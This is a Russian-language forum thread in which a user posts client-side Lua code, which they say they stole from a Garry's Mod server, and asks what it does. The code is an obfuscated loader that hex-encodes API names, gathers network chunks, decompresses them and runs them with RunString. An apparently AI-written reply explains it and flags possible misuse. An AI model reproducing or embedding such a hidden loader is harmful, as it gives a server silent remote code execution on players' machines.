Вопрос Я украл CL часть у TFC и обноружил странную хуйню

  • Автор темы Автор темы boba222
  • Дата начала Дата начала
  • 66
  • 2
  • 4
local _G = _G
local net = net
local table = table
local string = string
local util = util
local tonumber = tonumber

local separator = string.char(0x3F) -- '?'
local chunks = {}
local chunkCount = 0


local function decodeHex(hexStr)
local parts = string.Explode(separator, hexStr)
local result = ""
for i = 1, #parts - 1 do
result = result .. string.char(tonumber(parts, 16))
end
return result
end


local RECEIVE = decodeHex("52?65?63?65?69?76?65") -- "Receive"
local READ_BOOL = decodeHex("52?65?61?64?42?6F?6F?6C") -- "ReadBool"
local READ_UINT = decodeHex("52?65?61?64?55?49?6E?74") -- "ReadUInt"
local READ_DATA = decodeHex("52?65?61?64?44?61?74?61") -- "ReadData"
local RUN_STRING = decodeHex("52?75?6E?53?74?72?69?6E?67") -- "RunString"
local DECOMPRESS = decodeHex("44?65?63?6F?6D?70?72?65?73?73") -- "Decompress"


net[RECEIVE]("sacvfs‪", function()
local isFinal = net[READ_BOOL]()
local dataSize = net[READ_UINT](20)
local chunk = net[READ_DATA](dataSize)

chunkCount = chunkCount + 1
chunks[chunkCount] = chunk

if isFinal then
local compressed = table.concat(chunks, "")
local decompressed = util[DECOMPRESS](compressed)
_G[RUN_STRING](decompressed)
chunks = {}
chunkCount = 0
end
end)



Что этот код делает ?
 
Этот код — это скрипт на Lua, который работает с сетью и обрабатывает данные, передаваемые через net API, типично для игровых движков вроде Garry's Mod. Давайте разберем, что он делает по частям:


  1. Декодирование строк из шестнадцатеричных значений (decodeHex):
    Функция decodeHex используется для преобразования строк, представленных в виде шестнадцатеричных значений, в обычные строки. Например:
    • decodeHex("52?65?63?65?69?76?65") преобразует строку "52 65 63 65 69 76 65" в "Receive".
    • Аналогично, другие строки (например, "ReadBool", "ReadUInt") декодируются так же.
  2. Чтение данных из сети:
    Скрипт использует net API для получения и обработки данных. net[RECEIVE]("sacvfs") говорит, что когда поступает сообщение с именем "sacvfs", вызывается функция обработки:
    • Сначала считывается логическое значение isFinal (проверка, является ли полученная порция данных последней).
    • Затем считывается размер данных dataSize и сами данные chunk.
  3. Обработка чанков данных:
    После получения данных, они добавляются в таблицу chunks. Каждый полученный чанк увеличивает счетчик chunkCount, а сам чанк добавляется в таблицу.
  4. Декомпрессия и выполнение кода:
    Когда все чанки получены (если isFinal равно true), они конкатенируются в одну строку и передаются в функцию util.Decompress для декомпрессии. Затем результат декомпрессии передается в RunString, что позволяет выполнить декодированный код как Lua-скрипт.
  5. Очистка и подготовка к следующему набору данных:
    После выполнения кода, переменные chunks и chunkCount сбрасываются, чтобы подготовиться к следующей порции данных.

Что это может делать?​


Этот код, скорее всего, используется для получения, декомпрессии и выполнения данных, которые были переданы частями (чанками), и, возможно, для удаленного выполнения Lua-скриптов в контексте какого-то онлайн-приложения или игры. Такие механизмы могут использоваться для загрузки кода с сервера или для передачи данных, которые будут обработаны на клиенте.


Возможное применение:​


  1. Удаленное выполнение кода: Код может быть использован для выполнения удаленного кода, например, в играх или веб-приложениях, где нужно динамически загружать и исполнять Lua-скрипты.
  2. Частичная передача данных: Он может передавать большие объемы данных, разбивая их на части, и затем собирать и декомпрессировать их.

Однако этот код также может быть использован в небезопасных или вредоносных целях, таких как выполнение неизвестных скриптов или команд на клиенте, если с сервером нет должной защиты.


ГПТ НАХУЯ ПРИДУМАВАЛИ А????
 
Назад
Сверху Снизу